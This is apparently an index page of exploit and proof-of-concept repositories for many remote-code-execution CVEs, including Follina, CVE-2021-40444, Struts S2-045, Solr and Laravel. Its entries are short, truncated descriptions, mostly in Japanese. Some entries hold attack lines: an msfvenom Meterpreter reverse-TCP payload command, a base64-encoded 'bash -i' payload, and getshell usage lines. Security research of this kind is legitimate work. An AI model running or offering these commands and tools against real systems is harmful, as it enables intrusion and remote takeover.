MAL-012

MAL-012: 管理コンソールの反射型クロスサイトスクリプティングによるPayara Serverのリモートコード実行 Payara Admin Consoleで、反射型クロスサイトスクリプティング（XSS）攻撃が発見されました。管理者ユーザーに悪意のあるURLにアクセスさせ、「ファイルを選択」ボタンをクリックさせることで、攻撃者は任意のJavaScriptコードを実行し、ユーザーになりすまして管理機能を悪意のある目的に利用できます。 XSSがPayara Admin...

MAL-001

MAL-001: Liferay Portal における FreeMarker サーバーサイドテンプレートインジェクション Liferay - Portal =7.4.3.12-ga12 に問題が発見されました。FTL テンプレートに悪意のあるコンテンツを挿入することで、攻撃者は SSTI（サーバーサイドテンプレートインジェクション）攻撃を実行し、FreeMarker の公開オブジェクトを悪用して制限を回避し、SSRF（サーバーサイドリクエストフォージェリ）を実行したり、任意のファイルを読み取ったり、RCE（リモートコード実行）を取得したりする可能性があります。 注記:...

CVE-2017-8759

Exploit tool CVE-2017-8759 Exploit tool CVE-2017-8759 は、ペネトレーションテスターやセキュリティ研究者が Microsoft .NET Framework のリモートコード実行（RCE）を迅速かつ効果的にテストできる便利な Python スクリプトです。複雑な設定を必要とせずに、悪意のある RTF ファイルを生成し、Metasploit / Meterpreter / その他のペイロードを被害者に配信できます。 免責事項 このプログラムは教育目的のみ...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx 生成 CVE-2021-40444 Microsoft Office Word リモートコード実行 を悪用するための docx 生成 1. blink .docx ファイルを作成します。 2. "Insert/Object" メニューで "Bitmap Image" オブジェクトを追加します。 3. docx を保存して解凍します。 4. word/rels/document.xml.rels を変更します。 5. word/document.xml を変更します。 6. フォルダーを zip 化して .docx にリネームします。 7. html...

S2-045-EXP-POC-TOOLS

CNVD-ID CNVD-2017-02474 発行日 2017-03-07 危険レベル 高 AV:N/AC:L/Au:N/C:C/I:C/A:C 影響製品 Apache struts =2.3.5、=2.5、 CVE識別子 CVE-2017-5638 問題 It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display ...

CVE-2022-30190

CVE-2022-30190 此仓库从 Defender 角度介绍 Follina MSDT 漏洞 目录 关于 时间线 理解漏洞利用 IOC 列表 检测策略 测试与研究 缓解方案 参考链接 关于 该漏洞是 Microsoft Windows 支持诊断工具 MSDT 的远程代码执行漏洞，由 crazyman（Shadow Chaser Group 成员）报告。Microsoft 现将其追踪为 CVE-2022-30190。该缺陷影响所有仍接收安全更新的 Windows 版本（Windows 7+ 及 Server 2008+）。 正如安全研究员 naosec 所发现，威胁行为者利用该漏洞通...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons のバージョン 1.13 から 1.13.10、2.0 から 2.0.5 およびサポートが終了した旧バージョンには、特殊要素の不適切な無害化に起因するプロパティバインダーの脆弱性が存在します。認証されていないリモートの悪意あるユーザー（攻撃者）は、Spring Data REST がバックエンドとする HTTP リソースに対して特別に細工されたリクエストパラメータを送信したり、Spring Data...

CVE-2021-26084_PoC

CVE-2021-26084PoC CVE-2021-26084 Confluenceの事前認証RCEテストスクリプト 使用方法: py...

CVE-2026-42533-POC

CVE-2026-42533 nginx における認証前ヒープバッファオーバーフローおよびヒープ情報漏えい。スクリプトエンジンの2つのパス間で PCRE キャプチャ状態の保存/復元が欠落していることが原因。2つのキャプチャ参照の間で評価される正規表現の map 変数が r-captures を上書きするため、LEN パスと VALUE...

CVE-2021-40964

Tiny File Manager = 2.4.6 - リモートコード実行（認証済み） 🚨 エクスプロイトについて これは、CVE-2021-40964 の影響を受ける Tiny File Manager バージョン = 2.4.6 向けの、Bash ベースの認証済み リモートコード実行（RCE） エクスプロイトです。 このスクリプトは以下を利用します： 脆弱なアップロード検証と webroot の開示、 PHP コード実行につながる任意のファイルアップロードの脆弱性。 📌 詳細 エクスプロイトタイトル： Tiny File Manager = 2.4.6 - リモートコード実行（RCE...

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 このリポジトリは、Defenderの視点からFollina MSDTについて解説しています。 目次 概要 タイムライン エクスプロイトの理解 IOCリスト 検出戦略 テストと調査 緩和策 参照 概要 このバグは、Shadow Chaser Group の crazyman によって報告された、Microsoft Windows サポート診断ツール MSDT のリモートコード実行 RCE 脆弱性です。Microsoft は現在これを CVE-2022-30190 として追跡しています。この欠陥は、セキュリティ更新プログラムが提供されているすべての...

CIMCown

CIMCown CVE-2026-20200 Cisco IMC における RCE を伴う引数インジェクション Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H アドバイザリ: NSIDE-SA-2026-003 ブログ記事:...

CVE-2023-4220-RCE

CVE-2023-4220-RCE 요약 Starlabs 권고 영향받는 제품: Chamilo , -p --port REMOTE PORT -c --comand 리버스 셸 플래그 -lh/--localhost: 공격자 IP -lp/--localtcat 리스너 포트...

laravel-CVE-2021-3129-EXP

laravel-CVE-2021-3129-EXP CVE-2021-3129 ワンクリックで getShell 使い方 python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:8000 成功したら、哥斯拉で接続してください。...

solr_rce

Apache Solr RCE via Velocity template python の使い方: python solrrce.py http://x.x.x.x:8983 command getshell エンコードペイロード http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Solr 概要 Solr は Apache Lucene プロジェクトのオープンソースエンタープライズ検索プラットフォームです。...

CVE-2021-40444-POC

CVE-2021-40444-POC Metasploit Frameworkを使用して、Microsoft MSHTML リモートコード実行（RCE）の脆弱性を再現する試みです。 FlareVMで実行しない場合に最適です 準備 リポジトリを https://github.com/lockedbyte/CVE-2021-40444 からクローンします 後で msfvenom で使用する .dll テンプレートを準備します msfvenom -p windows/meterpreter/reversetcp lhost= lport= -f dll -o template.dll 生成され...

CVE-2020-2883

CVE-2020-2883 まずフレームワークをクローンします git clone https://github.com/Y4er/CVE-2020-2555 次に、CVE20202883.java を src/com/supeream/CVE20202883.java ディレクトリに配置します IDEA にインポートして CVE20202883.java を実行すると RCE! スクリーンショット...

ThinkCMF_getshell

ThinkCMFgetshell フレームワーク上の任意のコンテンツ包含の脆弱性 リモート攻撃者は、いかなる権限も不要で、特別に細工したリクエストパケットを送信するだけで、リモートサーバー上で任意のコードを実行できます。 python usage: + python ThinkCMFgetshell.py http://x.x.x.x/ python ThinkCMFgetshell.py https://x.x.x.x/ nginx PHP/7.0.19 Shell url:...

SHIRO-721

SHIRO-721 RememberMe Padding Oracle 脆弱性 RCE 0x00 概要： RememberMe cookieはAES-128-CBCモードで暗号化されており、パディングオラクル攻撃の影響を受けやすくなっています。 攻撃者は有効なRememberMe cookieをPadding Oracle Attackのプレフィックスとして使用し、細工されたRememberMeを生成してJavaの逆シリアライズ攻撃（例: SHIRO-550）を実行できます。 0x01 問題の再現手順： 1. Webサイトにログインし、cookieからRememberMeを取得します。 ...

CVE-2026-33937

This post is a research article published by EQSTLab. Referenced PoC: dinhvaren/cve-2026-33937 CVE-2026-33937 ★ CVE-2026-33937 Handlebars.js ASTインジェクション リモートコード実行 PoC ★ https://github.com/user-attachments/assets/99e383e7-e71f-4e10-8c62-f50abff8b4f5 説明 CVE-2026-33937 : Handlebars.js...